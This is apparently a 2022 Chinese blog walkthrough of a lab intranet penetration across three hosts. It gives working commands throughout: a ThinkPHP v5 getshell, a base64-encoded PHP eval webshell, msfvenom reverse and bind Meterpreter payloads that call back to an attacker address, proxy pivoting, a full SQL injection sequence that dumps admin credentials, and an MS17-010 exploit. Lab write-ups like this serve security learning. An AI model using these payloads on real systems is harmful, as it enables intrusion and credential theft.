工作组内网渗透

工作组内网渗透

  • 本文章旨在捋一遍内网渗透的大致流程思路。

1. 内网网络拓扑

01_内网拓扑

2. 实战

  1. 首先我们使用nmap扫描一下target1的端口

    • nmap -T4 -O 192.168.1.107
    • 通过扫描结果可以看到,target1开启了ftp服务/21,ssh服务/22,web服务/80,mysql服务/3306,宝塔/8888
      02_nmap扫描
  2. 既然开启了web服务,那么我们就先访问一下target1所搭建的网站

    • 发现使用的是thinkphp v5来搭建的。
      03-thinkPhp v5
  3. 而这个版本是存在漏洞的,我们可以直接使用exp来getshell

    • 如图:
      04-thinkPhp v5 getshell

    • 但是当我们访问shell.php的时候发现访问失败
      05_写入失败

    • cat 一下我们写的shell,发现字符串 "$_POST" 被过滤掉了
      06_cat一下

    • 那我们便进行绕过,payload:echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
      07_绕过

    • 接下来我们使用蚁剑进行连接
      08_蚁剑连接

  4. 使用蚁剑的虚拟终端,查看一下当前的权限以及linux版本

    • 可以看到,当前用户为 www用户(低权限),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
      09_信息搜集
  5. 接下来我们上传一个msf的马并连接,以便进一步渗透

    • 生成一个linux的马:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=6666 SessionCommunication=0 SessionExpireationTimeout=0 -f elf > shell.elf

    • 上传,并赋予执行权限,执行
      10_生成木马上传
      11_生成木马赋予权限并执行

    • 使用msf设置一个监听器,用以连接木马

    msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp 
    set lhost 192.168.1.104
    set lport 6666
    exploit
    
    • 由下图可看出,木马连接成功
      12_连接木马
  6. 接下来我们查找一下与target1连接的内网网段有哪些,并将这些网段添加进路由并挂上代理以便进行内网渗透

    • 所要使用的命令
    run get_local_subnets     //查看与target1所连的内网网段有哪些
    run autoroute -s 192.168.22.0/24 //将该内网网段添加进路由
    run autoroute -p          //用于查看路由是否添加成功
    background                //将当前的会话挂起
    
    search socks              //接下来开始挂socks代理
    use auxiliary/server/socks_proxy
    set VERSION 4a            //选择版本4a,5好像有问题
    set SRVHOST 192.168.1.104 //ip设置为kali ip
    exploit
    

    13_添加路由 挂socks代理

    • 接下来我们要修改一下代理软件proxychains的配置文件:/etc/proxychains4.conf。在配置文件最后一行加上:socks4 192.168.1.104 1080

    • 当我们修改完配置文件之后,如果想要让我们的工具走代理的话,就需要在命令前加上:proxychains
      14_修改配置文件

    • 至此,代理搭建完毕

  7. 接下来我们要搜集内网信息以便进行内网渗透

    • 所使用的命令
    sessions -i 1
    arp -a
    proxychains nmap -Pn -sT 192.168.22.129 //扫描target2的端口
    

    15_探测target2

  8. 接下来我们来访问target2所搭建的网站

    • 如果你想在kali中打开火狐访问的话,需要输入命令:proxychains firefox通过这条命令打开的火狐是通过软件proxychains走代理的,然后直接访问ip:192.168.22.129 即可(如果不加代理的话,由于target2属于内网且与kali不属于同一网段,我们是访问不到web的)。

    • 但是我这里想要使用物理机(本机)进行访问,于是要用到另一款代理软件:socksCap64。代理软件socksCap64的配置方法如下:(其实这里你也完全可以使用火狐自带的代理 - 就像使用brup那样的配置方法)
      16_sockscap配置

    • 访问target2的web服务,由于我们挂了代理,所以直接输入target2的内网ip即可
      17_访问target2

    • 查看一下网站的源代码,发现最下方靶场给出了提示:存在sql注入
      18_查看target2的网页源代码

  9. 利用sql注入拿下target2网站的账号密码

    • 接下来,我将使用到payload全部总结到下面,注入结果和说明我将一并放进一张图中(放大即可看清)
    • payload:
    ?r=vul&keyword=1'
    ?r=vul&keyword=1'%23
    ?r=vul&keyword=1' order by 39 %23
    ?r=vul&keyword=1' union select  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23
    ?r=vul&keyword=1' union select database(),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23
    ?r=vul&keyword=1' union select group_concat(table_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema="bagecms" %23
    ?r=vul&keyword=1' union select group_concat(column_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name="bage_admin" %23
    ?r=vul&keyword=1' union select username,password,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin %23
    

    19_sql注入流程

    • 将 admin/46f94c8de14fb36680850768ff1b7f2a -> md5解密:admin/123qwe。

    • 账号密码拿到手了,接下来我们就需要找网站的后台了,一般而言像这种较为成熟的cms都会存在robots.txt文件,我们可以通过该文件找到后台20_找网站后台

    • 使用我们注入得到的账号成功登陆
      21_登录后台

  10. 向target2的网站中写一句话使用蚁剑连接,并向该服务器中上传正向连接的木马并使用msf监听

    • 模板 -> header.php -> 编辑 ->
      22_target2写shell

    • 使用蚁剑进行连接(同理:由于target2属于内网主机,我们仍要使用socksCap64代理软件打开 蚁剑 来连接一句话)
      23_连接target2的shell

    • 果然不出我所料,就知道target2要给我找点麻烦。

    • 没办法,百度呗。最终在这个讨论区中找到解决方法:https://github.com/AntSwordProject/antSword/issues/243,

    • 说是因为宝塔的缘故,导致连接被重置了,解决方法:尝试在header加上 Connection:keep-alive
      24_连接target2的shell

    • 通过蚁剑进入虚拟终端,看一下target2的系统版本,当前用户权限
      25_看target2信息

    • 接下来生成一个linux的马:msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > shell2.elf

      • 注意:这里我们生成的是 正向连接 的马(因为target2在内网,与kali不处于同一个网段,所以target2是主动访问不了kali的。但是由于kali挂了代理,是可以主动访问target2的,即target2 ping不通kali,而kali ping得通target2)
    • kali设置监听、上线

      proxychains msfconsole //注意:这里我们要使用proxychains来打开msf
      use exploit/multi/handler
      set payload linux/x64/meterpreter/bind_tcp
      set rhost 192.168.22.129 //因为我们使用了代理来打开msf,所以这里直接填target2的内网私有ip即可
      set lport 12345
      exploit
      

      26_上线target2

  11. 查看与target2所连的还有哪些网段,并将该网段添加进路由

    • 所需命令:
      run get_local_subnets
      run autoroute -s 192.168.33.0/24
      run autoroute -p
      
      27_将33网段添加进路由
    • 由于之前已经设置过socks4a了,所以这次不需要重复设置了
  12. 对target3进行信息搜集,并上线

    • 接下来进入target2的meterpreter会话,执行命令:arp -a,查看与target2相连的活跃主机有哪些

    • 发现存在 192.168.33.129 这台活跃主机(target3)
      28_target2 arp -a

    • 扫描一波target3:proxychains nmap -Pn -sT 192.168.33.129(记得加上proxychains)

    • 发现 445 端口开启,且为windows主机,我们可以猜测存在 MS17_010漏洞,直接使用msf盲打,成功上线target3

      proxychains msfconsole
      use exploit/windows/smb/ms17_010_psexec
      set payload windows/meterpreter/bind_tcp
      set rhost 192.168.33.129
      exploit
      

    29_target3 MS17_010

  13. 再来一波进程迁移
    30_进程迁移

至此结束

posted @ 2022-02-07 20:56  浅易深  阅读(1269)  评论(0编辑  收藏  举报